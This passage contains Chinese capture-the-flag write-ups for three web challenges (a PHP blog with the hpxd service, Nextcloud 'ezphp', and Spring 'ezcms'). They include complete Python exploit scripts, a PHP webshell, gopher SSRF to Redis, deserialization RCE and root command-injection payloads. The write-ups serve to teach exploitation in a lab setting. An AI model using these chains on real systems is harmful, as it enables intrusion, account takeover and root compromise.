公开入口是文章、评论、标签、统计、登录;staff 面是草稿、用户创建、manage/* 和 skin-editor。这意味着单纯的 SQL 读取或 XSS 不够,最终需要拿到 staff 会话,再用 skin-editor 落 PHP。flag 在 /root,所以之后还要从 www-data 走到 root。

2. ops 引擎的两阶段设计

bulk.php 只允许顶层 op 使用 POST/PUT/PATCH/DELETE。engine.php 把处理拆成两段:build_op → route_bind → op_check → op_respond。bulk_engine() 的前半段负责 build、bind 和参数检查,后半段再按原始索引执行。问题出在 matched[] 的追加条件:只有「没有 build_op 错误」的 op 才会追加 bind 结果,但执行阶段仍用原始下标 $matched[$i] 取 handler。只要在队列前面放一个解析失败的 op,后面的 handler 就会和参数错位。

这个原语本身就能绕过 op_check 的参数清洗:执行时 handler 属于路由 A,参数却来自路由 B,B 没有声明的键不会被清洗。

3. 数据层:读原语与写原语

posts_lookup() 里有一个很明显的拼接点:owner_not_in 不是数组时,会直接 implode 进 owner NOT IN (...)。而 exec_articles_list() 会把 omit 原样传进去。正常调用时 /api/articles 的 omit 会被 sanitize_arg() 按 id_list 清洗成整数数组,所以直接请求没有注入;这正是需要 handler 错位的原因。

更关键的是 posts_lookup() 会把结果集的每一行(包括 UNION 注入行)写进 ROW_CACHE。随后 exec_articles_list() 逐行 entry_fetch()(命中缓存)、检查 snap_stale=1 后调用 snapshot_write()。也就是说,SQL 注入不仅可读,还能借缓存把伪造行变成一次 UPDATE entries 写入,并用行的 status/kind 触发钩子。

4. 认证状态与钩子

PUBLISH_AS 是一个进程内的全局变量,changeset_publish() 在 login_is_staff(author) 通过后设置它。钩子表里:

  • pending_changeset → hook_changeset_promote:插入 changeset 并发布;

  • api_reload → hook_api_reload:在 HOOK_RUNNING=1 时重放 CUR_OPS。

而 exec_articles_list() 只在 HOOK_RUNNING == 0 时清除 PUBLISH_AS。把两行伪造数据按顺序放进结果集,就能让 PUBLISH_AS 在一次重放期间保持有效,用 staff 权限执行 /api/users。

5. 管理层与 root 面

拿到 staff 后,manage.php?action=skin-editor 会把任意 PHP 写进 /var/www/uploads/skins/,得到 www-data。但 /root 是 700 root,web 用户读不到 flag。容器里还有只监听 loopback 的 hpxd(root 运行),它的 /ops/code 直接泄露源码;这才是从 www-data 到 root 的入口。

二、逐段构造

1. 两级错位

parse_url("http://example.com:abc") 因端口非法而返回失败,可稳定制造「有原始 op、无对应 bind」的索引缺口。

第一层错位是为了进入 exec_bulk。/api/bulk 自己的 op 会在 op_check 处被 route_bulk_rejected 拒绝,但它的 bind 没有错误,可以被借给一个合法的 POST op(例如 /api/login,参数里额外带 ops):

{"ops":[
  {"route":"http://example.com:abc","verb":"POST"},
  {"route":"/api/login","verb":"POST","data":{"login":"x","pass":"wrongpass1","ops":[ /* 内层 ops */ ]}},
  {"route":"/api/bulk","verb":"POST"}
]}

执行到 i=1 时,handler 来自 matched[1](/api/bulk),参数来自 checked[1](合法的 login op,ops 作为额外键原样保留),于是进入 exec_bulk。内层 bulk 不受 /bulk.php 的 POST-only 限制,可以放 GET。

第二层错位把 /api/articles 的 exec_articles_list 借给 /api/tags 的参数。/api/tags 允许 GET,且声明参数里没有 omit,因此不会对它做 id_list 清洗:

[
  {"route":"http://example.com:abc","verb":"GET"},
  {"route":"/api/tags","verb":"GET","data":{"omit":"<SQL 片段>"}},
  {"route":"/api/articles","verb":"GET"}
]

执行到 i=1 时,handler 来自错位后的 matched[1](/api/articles),参数仍来自原始索引 1 的 tags op,于是未清洗的 omit 原样进入 posts_lookup()。GET 只能放在借入的内层 bulk,不能直接放到 /bulk.php 顶层。

2. SQL 注入

注入点位于:

... WHERE status = 'published' AND owner NOT IN (<omit>) ORDER BY ...

闭合并注释尾部:

1) UNION ALL SELECT 9001,0x4d41524b,0x4d41524b,0x78,0x78,'2037-01-01 00:00:00','published','post',0,0-- -

返回文章列表中出现 id=9001, title=MARK,说明 UNION 成功。先用本地同源副本(PHP 8.4 + MariaDB)验证,再对线上执行。

数据库只用于读取:staff_accounts 里是随机登录名与 bcrypt 哈希,entries 里有已发布文章和 staff 草稿,site_config 里有 skin。同时测试确认数据库账号没有 FILE 权限:LOAD_FILE 返回 NULL,INTO OUTFILE 被拒绝。因此不要指望从数据库读明文密码或写文件,真正的下一步是把读原语变成写原语。

3. 缓存投毒与钩子

posts_lookup() 会把 UNION 行缓存到 entries:<id>;exec_articles_list() 随后 entry_fetch() 命中缓存,snap_stale=1 时执行:

snapshot_write($full);   // UPDATE entries SET title,slug,owner,status,kind,parent... WHERE id=?
hooks_fire($full["status"] . "_" . $full["kind"], $full);

用不存在的高位 id 可以避免破坏真实文章;UPDATE 影响 0 行也没关系,钩子仍会继续使用缓存行触发。两行伪造数据的分工:

  • id=900200001, status=pending, kind=changeset, owner=<真实 staff 登录名>, snap_stale=1 —— 触发 hook_changeset_promote(),插入 changeset;changeset_publish() 通过 login_is_staff(owner) 后把 PUBLISH_AS 设成该 staff 登录名。

  • id=900200002, status=api, kind=reload, snap_stale=1 —— 触发 hook_api_reload();此时 HOOK_RUNNING=1,exec_articles_list() 不会清除 PUBLISH_AS,ops_run_all($GLOBALS["CUR_OPS"]) 会在 staff 权限仍然有效时重放当前 ops。

顺序很重要,不能依赖 UNION 的自然返回顺序。给两行设置不同的未来时间,并在注释原查询尾部前加入 ORDER BY 6 DESC,1 ASC LIMIT 2:

1) UNION ALL SELECT 900200001,'<随机 nonce>','x','<真实 staff>','x',
'2037-12-31 23:59:59','pending','changeset',0,1
UNION ALL SELECT 900200002,'reload','x','x','x',
'2037-12-30 23:59:59','api','reload',0,1
ORDER BY 6 DESC,1 ASC LIMIT 2-- -

这样 pending_changeset 必定先处理,api_reload 随后重放。把 /api/users 放进内层 ops,重放时 perm_staff() 就会通过。nonce 每次随机,避免残留的 ready changeset 被去重。响应中的 followup 会出现类似:

{"user": {"login": "<新账号>"}, "created": true}

随后用这个账号走 /api/login,拿到合法的 site_staff Cookie。

4. staff → skin → www-data

带 Cookie 调 POST /manage.php?action=skin-editor,写入一个 PHP 文件;访问 /uploads/skins/<name>.php?c=id 得到 uid=33(www-data)。但 /root 是 700 root,读取会 Permission denied,需要继续提权。

5. hpxd:www-data → root

容器内 ps /ss 能看到只监听 127.0.0.1 的 9443/9444/9446/9447;逐个访问确认是 hpxd,9446/9447 的 /ops/code 直接返回完整 Perl 源码。源码里的关键逻辑:

  • 首次访问创建 vault,Cookie 为 hpx_id=<token>,<scramble>;vault 状态按 key=value 行保存在内存里。

  • Basic 认证分支在 awaiting_signin 存在时写入 login/secret,且不做 sess_value_clean();

  • cloak_store() 在 Cookie 提供的 scramble 为空时直接返回原始值。

  • vault_is_master() 检查 master_flag=1、otp_done=1、login=root,再看 sudo_until 是否是未来时间或 secret 的 md5 是否等于 master digest。

  • files/list 把 path 参数直接拼进 /bin/sh -c "ls -la $dir",而服务以 root 运行。

利用步骤:

  1. GET / 创建 vault,拿到 hpx_id。

  2. 再次请求时使用 Cookie: hpx_id=<token>,(scramble 为空),并带 Basic 认证,用户名里用换行注入:

root
master_flag=1
otp_done=1
sudo_until=9999999999

将上述多行内容作为 Basic 用户名,再拼接 :x 作为密码分隔符,Base64 后放入 Authorization: Basic ...。服务端把原始用户名写入 vault,多出来的行会变成独立键。

  1. 请求一个错误的 zone(如 /hx_0/)触发 vault_rescan(),再请求正确 zone,vault_is_master() 通过。

  2. 使用命令拼接读取 flag:

GET /hx_<zone>/files/list?path=/x|cat</root/flag.txt

解析细节:hpxd 的 query 解析按 [&;] 切分,分号会被截断;pct_decode() 不会把 + 还原成空格,所以命令里不要留空格。这里用无空格的 |cat</root/flag.txt。另外注意 Location 里的 zone 已经带 hx_ 前缀,拼 URL 时不要再加一次,否则会走到 404。

实测命令以 uid=0(root) 执行,能直接读取 /root/flag.txt。

6. 动态 flag 的识别

这个题每次重新下发实例都会更换 /root/flag.txt 的内容。第一次读到的值在实例重下发后失效,重新对当前实例跑完整链才拿到新值。判断和提交流程应当是:

  1. 对当前实例以 root 读取 /root/flag.txt;

  2. 同一实例二次读取,比较内容长度/校验值;

  3. 提交当前实例的值,并在实例存活期间尽快提交;

  4. 若平台再次下发,重新跑脚本,不要复用旧值。

本次实例最终读取到的结果见文末 Flag。

三、复现脚本

依赖 Python 3(仅标准库),把 <target> 换成当前实例地址:

python solve_full.py https://<target>:443

脚本会自行读取随机 staff 登录名,完成错位注入、钩子提权、建号登录、skin 写 shell,最后通过 hpxd 读 /root/flag.txt。

#!/usr/bin/env python3
# One-shot exploit for the SimpleBlog / hpxd challenge.
# Usage: python solve_full.py https://<target>:443
#
# Chain:
#   1. bulk.php handler-swap (nested bulk) -> exec_articles_list with unsanitized
#      "omit" -> SQL injection in posts_lookup.
#   2. SQLi UNION rows are cached by posts_lookup and consumed by snapshot_write,
#      letting us forge status/kind/owner.  A "pending_changeset" row whose owner
#      is a real staff login makes the app set PUBLISH_AS; an "api_reload" row
#      then re-runs the current ops while PUBLISH_AS is still set.
#   3. In that re-run /api/users creates a staff account we control.
#   4. Log in -> manage.php?action=skin-editor writes a PHP shell.
#   5. From the shell, exploit hpxd (root, 127.0.0.1:9446): empty cookie scramble
#      makes cloak_store save raw Basic-auth values, so newline injection can set
#      master_flag/otp_done/login/sudo_until -> master.  files/list executes
#      "ls -la $dir" via /bin/sh as root -> read /root/flag.txt.
import json
import random
import re
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
​
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
​
​
def http(base, path, data=None, headers=None, timeout=25):
    h = dict(headers or {})
    if data is not None and "Content-Type" not in h:
        h["Content-Type"] = "application/json"
    req = urllib.request.Request(base.rstrip('/') + path, data=data, headers=h)
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=SSL_CTX) as r:
            return r.status, r.read().decode('utf-8', 'replace'), r.headers
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', 'replace'), e.headers
    except Exception as e:
        return None, repr(e), None
​
​
def sqli_payload(frag):
    inner = {"ops": [
        {"route": "http://example.com:abc", "verb": "GET"},
        {"route": "/api/tags", "verb": "GET", "data": {"omit": frag}},
        {"route": "/api/articles", "verb": "GET"},
    ]}
    return {"ops": [
        {"route": "http://example.com:abc", "verb": "POST"},
        {"route": "/api/login", "verb": "POST",
         "data": {"login": "nobody", "pass": "wrongpass1", "ops": inner["ops"]}},
        {"route": "/api/bulk", "verb": "POST"},
    ]}
​
​
def sqli(base, frag):
    code, raw, _ = http(base, "/bulk.php", json.dumps(sqli_payload(frag)).encode())
    try:
        d = json.loads(raw)
    except Exception:
        return None, raw[:400]
    res = d.get("results") if isinstance(d, dict) else None
    if isinstance(res, list) and len(res) > 1 and isinstance(res[1], list) and len(res[1]) > 1:
        inner = res[1][1]
        if isinstance(inner, dict) and "articles" in inner:
            return inner["articles"], None
    return None, raw[:400]
​
​
def sql_string(value):
    return "'" + value.replace("\\", "\\\\").replace("'", "''") + "'"
​
​
def chain_payload(owner, newlogin, newpass, nonce, base_id):
    inj = (
        "1) UNION ALL SELECT %d,%s,'x',%s,'x',"
        "'2037-12-31 23:59:59','pending','changeset',0,1 "
        "UNION ALL SELECT %d,'reload','x','x','x',"
        "'2037-12-30 23:59:59','api','reload',0,1 "
        "ORDER BY 6 DESC,1 ASC LIMIT 2-- -"
    ) % (base_id, sql_string(nonce), sql_string(owner), base_id + 1)
    inner = {"ops": [
        {"route": "http://example.com:abc", "verb": "GET"},
        {"route": "/api/tags", "verb": "GET", "data": {"omit": inj}},
        {"route": "/api/articles", "verb": "GET"},
        {"route": "/api/users", "verb": "POST", "data": {"login": newlogin, "pass": newpass}},
    ]}
    return {"ops": [
        {"route": "http://example.com:abc", "verb": "POST"},
        {"route": "/api/login", "verb": "POST",
         "data": {"login": "nobody", "pass": "wrongpass1", "ops": inner["ops"]}},
        {"route": "/api/bulk", "verb": "POST"},
    ]}
​
HPXD_SHELL = r'''B=http://127.0.0.1:9446
R1=$(curl -s -D - -o /dev/null "$B/")
TOKEN=$(printf '%s' "$R1" | tr -d '\r' | awk -F'hpx_id=' '/Set-Cookie/{split($2,a,",");print a[1];exit}')
B64=$(printf 'root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999:x' | base64 -w0)
R2=$(curl -s -D - -o /dev/null -H "Cookie: hpx_id=$TOKEN," -H "Authorization: Basic $B64" "$B/")
ZONE=$(printf '%s' "$R2" | tr -d '\r' | awk -F'Location: /'
'/^Location:/{split($2,a,"/");print a[1];exit}')
curl -s -o /dev/null -H "Cookie: hpx_id=$TOKEN," "$B/hx_0/"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|cat</root/flag.txt" "$B/$ZONE/files/list"'''
​
​
def main():
    if len(sys.argv) < 2:
        print("usage: solve_full.py <base-url>"); return 1
    base = sys.argv[1]
    rnd = ''.join(random.choice('0123456789abcdef') for _ in range(6))
    print("[1] SQLi: read staff_accounts")
    leak = (
        "1) UNION ALL SELECT id,login,secret,0x78,0x78,"
        "'2037-01-01 00:00:00','published','post',0,0 "
        "FROM staff_accounts-- -"
    )
    arts, err = sqli(base, leak)
    if not arts:
        print("    injection failed:", err); return 1
    staff = [a["title"] for a in arts if isinstance(a.get("slug"), str) and a["slug"].startswith("$2y$")]
    print("    staff logins:", staff)
    if not staff:
        print("    no staff login extracted"); return 1
    newlogin, newpass = "pwn" + rnd, "Pw" + rnd + "!x"
    ok = False
    for idx, owner in enumerate(staff):
        print("[2] hook chain: owner=%s -> create %s" % (owner, newlogin))
        nonce = "cs" + rnd + str(idx)
        base_id = 900000000 + int(rnd, 16) + idx * 2
        payload = chain_payload(owner, newlogin, newpass, nonce, base_id)
        code, raw, _ = http(base, "/bulk.php", json.dumps(payload).encode())
        print("    HTTP", code, raw[:200].replace("\n", " "))
        code, raw, hdrs = http(base, "/feed.php?route=/api/login",
                               urllib.parse.urlencode({"login": newlogin, "pass": newpass}).encode(),
                               {"Content-Type": "application/x-www-form-urlencoded"})
        print("    login HTTP", code, raw[:160])
        if code == 200 and '"status":1' in raw.replace(" ", ""):
            ok = True
            break
    if not ok:
        print("    could not create/login staff account"); return 1
    cookie = None
    for v in ((hdrs.get_all("Set-Cookie") or []) if hdrs else []):
        if "site_staff=" in v:
            cookie = v.split(";")[0]
    print("    cookie:", cookie)
    if not cookie:
        print("    no cookie"); return 1
    print("[3] skin-editor -> PHP shell")
    name = "zz" + rnd
    php = "<?php if(isset($_GET[chr(99)])){system($_GET[chr(99)]);}?>"
    body = urllib.parse.urlencode({"name": name, "code": php}).encode()
    code, raw, _ = http(base, "/manage.php?action=skin-editor", body,
                        {"Content-Type": "application/x-www-form-urlencoded", "Cookie": cookie})
    print("    HTTP", code, raw[:200])
    if code != 200 or "written" not in raw:
        print("    skin write failed"); return 1
    print("[4] hpxd root injection -> /root/flag.txt")
    query = urllib.parse.urlencode({"c": HPXD_SHELL})
    code, out, _ = http(base, "/uploads/skins/%s.php?%s" % (name, query), None, {}, 60)
    print("    HTTP", code)
    match = re.search(r"flag\{[^}\r\n]+\}", out)
    if not match:
        print(out)
        print("    flag not found")
        return 1
    print(match.group(0))
    return 0
​
​
if __name__ == "__main__":
    sys.exit(main())

额外的 root 侧复核命令(读取、md5、字节数、文件属性、id)可以按同样的 hpxd 会话拼接,例如:

B=http://127.0.0.1:9446
R1=$(curl -s -D - -o /dev/null "$B/")
TOKEN=$(printf '%s' "$R1" | tr -d '\r' | awk -F'hpx_id=' '/Set-Cookie/{split($2,a,",");print a[1];exit}')
B64=$(printf 'root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999:x' | base64 -w0)
R2=$(curl -s -D - -o /dev/null -H "Cookie: hpx_id=$TOKEN," -H "Authorization: Basic $B64" "$B/")
ZONE=$(printf '%s' "$R2" | tr -d '\r' | awk -F'Location: /'
'/^Location:/{split($2,a,"/");print a[1];exit}')
curl -s -o /dev/null -H "Cookie: hpx_id=$TOKEN," "$B/hx_0/"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|cat</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|md5sum</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|wc</root/flag.txt" "$B/$ZONE/files/list"
curl -s -G -H "Cookie: hpx_id=$TOKEN," --data-urlencode "path=/x|id" "$B/$ZONE/files/list"

Flag 状态

来源为当前实例的 /root/flag.txt,通过 hpxd 以 root 身份读取:

flag{925c8269-0b4b-4421-8d2c-4b825e4a6b42}

考点补充

  • 核心考点:ops 引擎在 bulk_engine() 里把「bind 结果数组」和「原始索引」混用,导致 handler 与参数错位;错位后 omit 逃过 sanitize_arg() 的 id_list 清洗,直接拼进 posts_lookup() 的 owner NOT IN (...),形成 UNION 注入。

  • 关键技巧:用 parse_url("http://example.com:abc") 制造无 bind 的索引缺口,先借 /api/bulk 进内层 bulk 放开 GET,再把 exec_articles_list 借给未声明 omit 的 /api/tags;注入行经 ROW_CACHE → snapshot_write() 完成「读转写」,并用 pending_changeset 设 PUBLISH_AS、api_reload 在 HOOK_RUNNING=1 时重放 ops 越权建号。

  • 常见坑:两行伪造数据不能依赖 UNION 的自然返回顺序,必须 ORDER BY 6 DESC,1 ASC LIMIT 2 保证 pending 先于 api_reload;hpxd 的 query 按 [&;] 切分、pct_decode() 不还原 +,所以命令里不能有空格,且 Location 的 zone 已带 hx_ 前缀不能再重复拼。

  • 延伸:hpxd 的「空 scramble + Basic 多行用户名」本质是把用户输入当 key=value 行写入 vault,可抽象成通用的 vault 键注入面;另外本题 flag 随实例重下发变化,脚本应从 staff_accounts 重新扫登录名、每次重跑整条链,而不是复用旧值与旧 nonce。

ezphp

一、入口与源码泄露

目标环境为 Nextcloud 34.0.3.2(PHP 8.5.12)。访问根目录下的 /flag.php,页面直接 highlight_file() 输出自身源码,核心逻辑如下(节选):

header('Content-Type: text/html; charset=utf-8');
$flag_file = '/opt/ctf/internal/flag.txt';
$remote = $SERVER['REMOTE_ADDR'] ?? '';
if (in_array($remote, ['127.0.0.1', '::1'], true)) {
  foreach (['HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_FORWARDED'] as $h) {
    if (!empty($SERVER[$h])) {
      exit('Hacker?');
    }
  }
  if (!preg_match('#^qwb2026#i', $SERVER['HTTP_USER_AGENT'] ?? '')) {
    exit('Hacker?');
  }
  echo trim((string)file_get_contents($flag_file)), PHP_EOL;
  exit;
}
highlight_file(FILE);
if (!isset($REQUEST['url'])) {
  exit;
}
$url = (string)$_REQUEST['url'];
if (preg_match('#(file|dict|ftp|tftp|sftp|ssh|smb|telnet|ldapi|phar|expect|zlib|glob|data|zip):/+#i', $url)) {
  die('Hacker?');
}
if (strpos($url, '') !== false || substr_count($url, '@') > 1) {
  die('Hacker?');
}
$host = strtolower(trim((string)parse_url($url, PHP_URL_HOST), '[]'));
if ($host !== '127.0.0.1' && $host !== '::1' && $host !== 'localhost') {
  die('Hacker?');
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
curl_setopt($ch, CURLOPT_USERAGENT, 'internal-preview/1.0');
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);

分析出三个关键点:

  1. 协议黑名单包含 file、dict、ftp、data、phar 等,但遗漏了 gopher,可以向任意 TCP 服务发送原始字节流;

  2. 主机名只允许 127.0.0.1、::1、localhost,攻击面被限制在容器本机;

  3. curl_exec() 没有设置 CURLOPT_RETURNTRANSFER,目标服务的响应会直接输出到页面,因此 SSRF 是带内回显的,可以直接读取 Redis 的应答。

二、确认本机 Redis 与 Session 存储

将 RESP 命令(PING、QUIT)逐字节百分号编码后放入 gopher URL,POST 给 /flag.php,页面之后返回:

+PONG
+OK

说明 127.0.0.1:6379 上存在无认证 Redis。继续发送 INFO server,回显:

redis_version:8.0.2
tcp_port:6379
executable:/var/www/html/redis-server
listener0:name=tcp,bind=127.0.0.1,port=6379

同时,源码中的本机读取分支可用 gopher 伪造请求进入:向 127.0.0.1:80 发送 GET /flag.php,带上 User-Agent: qwb2026...,且不携带任何转发头,即可读到:

flag{You_are_so_smart_8080}

但该文件的时间戳为镜像构建时间(9 月 1 日),属于固定诱饵;真正的 flag 是容器启动时写入的 /flag(时间戳与容器启动时间一致,环境变量 ICQ_FLAG 与之相同),因此必须进一步获取代码执行权限。

通过临时执行点读取 PHP 配置,确认 Nextcloud 的 Session 存放在 Redis:

session.save_handler   = redis
session.save_path     = tcp://127.0.0.1:6379
session.serialize_handler = php
session.use_strict_mode  = 0

Nextcloud 下发的 Session Cookie 形如 oc<随机后缀>=<32位hex>,对应 Redis 键为 PHPREDIS_SESSION:<32位hex>,值以 encrypted_session_data| 开头,后续为 PHP 的 name|serialized 格式数据。

三、Session 污染与反序列化 RCE

利用步骤如下:

  1. 请求 /login,从 Set-Cookie 中取得 oc<随机后缀>=<32位hex>,该值就是 PHP Session ID;

  2. 通过 SSRF 读取 PHPREDIS_SESSION:<32位hex> 的原始值;

  3. 在原始值之后追加一个自定义会话变量:

ezphp_probe|O:46:"Laravel\SerializableClosure\Serializers\Native":4:{
  s:3:"use";a:0:{}
  s:8:"function";s::"((function(){ ... })())";
  s:4:"this";N;
  s:5:"scope";N;
 }
  1. 使用同一个 Session Cookie 再次请求 /login。

反序列化触发点是 Laravel SerializableClosure 的 Native 类(Nextcloud 34 的 3rdparty 目录自带 laravel/serializable-closure ^2.0.15):

public function __unserialize($data)
{
  ClosureStream::register();
  $this->code = $data;
  ...
  $this->closure = include ClosureStream::STREAM_PROTO.'://'.$this->code['function'];
  ...
}

而 ClosureStream::stream_open() 会把路径内容包装为:

<?php
return ;

因此把 function 字段设为自执行闭包表达式即可执行任意 PHP。带被污染的 SID 访问 /login 时,session_start() 解码会话数据即触发反序列化,代码以 www-data 执行;由于 echo 发生在响应头发出之前,输出会保留在 302 响应体中,用 base64 包裹后可稳定提取。读取 /flag 得到最终结果。

四、自写利用脚本

以下脚本为完整解题代码(未截图),从目标地址直接执行到打印 flag:

#!/usr/bin/env python3
"""ezphp (QWB 2026) - complete solve.
/flag.php SSRF (gopher) -> unauthenticated Redis -> PHP session poisoning
-> Laravel SerializableClosure Native unserialize RCE -> /flag
Usage: python3 solve_final.py https:///
"""
import base64
import re
import secrets
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
BASE = sys.argv[1].rstrip('/') if len(sys.argv) > 1 else input('target: ').strip().rstrip('/')
CTX = ssl._create_unverified_context()
class NoRedirect(urllib.request.HTTPRedirectHandler):
  def redirect_request(self, *args, **kwargs):
    return None
OPENER = urllib.request.build_opener(NoRedirect, urllib.request.HTTPSHandler(context=CTX))
def http(method, path, data=None, headers=None):
  req = urllib.request.Request(BASE + path, data=data, headers=headers or {}, method=method)
  try:
    resp = OPENER.open(req, timeout=60)
    return resp.status, resp.headers, resp.read()
  except urllib.error.HTTPError as e:
    return e.code, e.headers, e.read()
def resp(parts):
  """Encode a RESP command array."""
  out = b'%d\r\n' % len(parts)
  for part in parts:
    v = part.encode() if isinstance(part, str) else part
    out += b'$%d\r\n' % len(v) + v + b'\r\n'
  return out
def redis(parts):
  """Send a raw Redis command through /flag.php gopher SSRF and return the reply."""
  payload = resp(parts) + resp('QUIT') # QUIT closes the TCP stream so curl returns
  gopher = 'gopher://127.0.0.1:6379/_' + ''.join('%%%02x' % b for b in payload)
  body = urllib.parse.urlencode({'url': gopher}).encode()
  st, hd, bd = http('POST', '/flag.php', data=body,
           headers={'Content-Type': 'application/x-www-form-urlencoded',
               'User-Agent': 'Mozilla/5.0'})
  # highlight_file() is printed first; curl_exec() (without RETURNTRANSFER)
  # writes the Redis reply right after .
  return bd.split(b'', 1)[1] if b'' in bd else bd
def redis_get(key):
  reply = redis('GET', key)
  m = re.match(rb'$(\d+)\r\n', reply)
  if m:
    start = m.end()
    return reply[start:start + int(m.group(1))]
  return None
def redis_set(key, value):
  reply = redis('SET', key, value, 'EX', '600')
  assert reply.startswith(b'+OK'), reply[:80]
def php_string(value):
  raw = value.encode() if isinstance(value, str) else value
  return b's:%d:"' % len(raw) + raw + b'";'
def native_gadget(code):
  """Laravel\SerializableClosure\Serializers\Native with attacker code.
  Native::unserialize() does include 'closure://' -> eval."""
  cls = rb'Laravel\SerializableClosure\Serializers\Native'
  return (b'O:%d:"' % len(cls) + cls + b'":4:{'
      + php_string('use') + b'a:0:{}'
      + php_string('function') + php_string(code)
      + php_string('this') + b'N;'
      + php_string('scope') + b'N;}')
def new_session():
  """GET /login to obtain a Nextcloud session id and its Redis-backed data."""
  st, hd, bd = http('GET', '/login')
  name = sid = None
  for raw in (hd.get_all('Set-Cookie') or []):
    nv = raw.split(';')[0]
    n, _, v = nv.partition('=')
    if re.fullmatch(r'oc[a-z0-9]+', n) and re.fullmatch(r'[0-9a-f]{32}', v or ''):
      name, sid = n, v
      break
  assert sid, 'no Nextcloud session cookie'
  key = 'PHPREDIS_SESSION:' + sid
  original = redis_get(key) or b''
  assert original.startswith(b'encrypted_session_data|'), original[:40]
  return name, sid, key, original
def main():
  sid_cookie, sid, key, original = new_session()
  print('[] session:', sid_cookie + '=' + sid)
  print('[] redis key:', key)
  nonce = secrets.token_hex(6)
  code = ("((function(){"
      "$v=@file_get_contents('/flag');"
      "echo 'EZ" + nonce + "B'.base64_encode((string)$v).'EZ" + nonce + "E';"
      "return function(){};"
      "})())")
  redis_set(key, original + b'ezphp_probe|' + native_gadget(code))
  print('[*] poisoned session, triggering unserialize via /login')
  st, hd, bd = http('GET', '/login', headers={'Cookie': sid_cookie + '=' + sid})
  m = re.search(('EZ' + nonce + 'B').encode() + rb'([A-Za-z0-9+/=]*)' +
         ('EZ' + nonce + 'E').encode(), bd)
  if not m:
    print('[-] no gadget output; HTTP', st, 'body len', len(bd))
    sys.exit(1)
  flag = base64.b64decode(m.group(1)).decode()
  print('[+] /flag =', flag.strip())
if name__ == 'main':
  main()

脚本实际运行结果:

[] session: oc1rda30oune=cd1e2e624117a241d5d0a90e449176aa
[] redis key: PHPREDIS_SESSION:cd1e2e624117a241d5d0a90e449176aa
[*] poisoned session, triggering unserialize via /login
[+] /flag = flag{78efdc1a-d214-4744-a1a3-b1c6151fa288}

辅助验证:命令 id 返回 uid=33(www-data) gid=33(www-data) groups=33(www-data);/flag 属主为 root:root、权限 644,内容与环境变量 ICQ_FLAG 一致。

flag 值

flag{78efdc1a-d214-4744-a1a3-b1c6151fa288}

考点补充

  • 核心考点:协议黑名单漏掉的 gopher:// 让 /flag.php 的 SSRF 变成可向 127.0.0.1 任意 TCP 服务灌原始字节的通道,借此读到未授权 Redis 8.0.2;由于 Nextcloud 用 session.save_handler=redis + session.use_strict_mode=0,可以直接改写 PHPREDIS_SESSION:<sid> 内容,最终由 Nextcloud 3rdparty 自带的 laravel/serializable-closure Native 类反序列化拿到 RCE。

  • 关键技巧:手写 RESP 数组并在命令后追加 QUIT 让流关闭、curl 及时返回;所有长度敏感的结构都用 php_string()/len() 现算,保证 Native 里 function 字段的 s:len:"..." 长度精确、被 ClosureStream include 时能正常求值;命令回显用随机 nonce 包 base64,即使落在 302 响应体里也能稳定正则取出。

  • 常见坑:gopher:// 打到 80 端口、带 User-Agent: qwb2026 就能读到 flag{You_are_so_smart_8080},但那是镜像构建时间戳的诱饵,真 flag 在容器启动时写入的 /flag(与 ICQ_FLAG 相同),拿到 302 就收工会踩空;session 值不能整条 SET 覆盖,必须保留 encrypted_session_data| 前缀再追加 ezphp_probe|...,否则解码阶段直接失败、反序列化不触发;curl_exec() 未开 RETURNTRANSFER,highlight_file() 的源码输出会与 Redis 应答黏在同一个响应体开头,必须先切掉前面 HTML 再解析 RESP。

  • 延伸:laravel/serializable-closure 的 Native::__unserialize() 只要 function 字段可控就会 include 'closure://...',凡是 3rdparty 里带该依赖的 Nextcloud/Laravel 站点都能复用这条 gadget;更一般地,只要 PHP 的 session 后端是可写的共享存储(Redis/Memcached、甚至 memcached 的 SASL 绕过),"SSRF 写 session + 预置反序列化" 就是一条绕过后台写文件的稳定 RCE 路径。

ezcms

目标站点是一套基于 Spring Boot 与 PostgreSQL 的内容管理系统。前台能直接访问文章搜索,后台则提供媒体文件上传。最终的利用路线如下:

搜索接口 SQL 注入
    ↓
布尔盲注读取管理员凭据
    ↓
后台图片上传写入 JSP
    ↓
Tomcat 解析 JSP,获得 easycms 权限
    ↓
滥用 SUID 恢复程序,以 root 身份执行命令
    ↓
读取 /flag

最终得到:

flag{3ec39fa3-03b6-48a8-b45e-4e2035b2d6ae}

1. 从异常回显还原查询语句

站点的 /search 接口接收参数 q。正常输入只会返回文章列表,但将 NUL 字节送入参数后,应用会进入异常处理页面:

GET /search?q=hello%00 HTTP/1.1
Host: 39.106.70.112:28739

页面不仅返回 PostgreSQL 的错误信息,还给出了执行失败的 SQL。由此可以还原出搜索逻辑:

SELECT id, title, summary, author, category
FROM articles
WHERE title ILIKE E'%<用户输入>%'
ORDER BY id DESC

这里最值得注意的不是字符串拼接本身,而是 E'...'。应用仅把单引号替换为两个单引号,却没有处理反斜杠;而 PostgreSQL 的 E-string 会将反斜杠视作转义符。两套转义规则叠在一起,导致原本的单引号过滤可以被绕过。

例如,输入:

' = (SELECT true)--

经过应用的单引号替换后,反斜杠会吃掉第一个单引号,第二个单引号则结束字符串,后面的内容随即进入 SQL 语法层。最终可以把搜索条件转化为一个布尔判断。

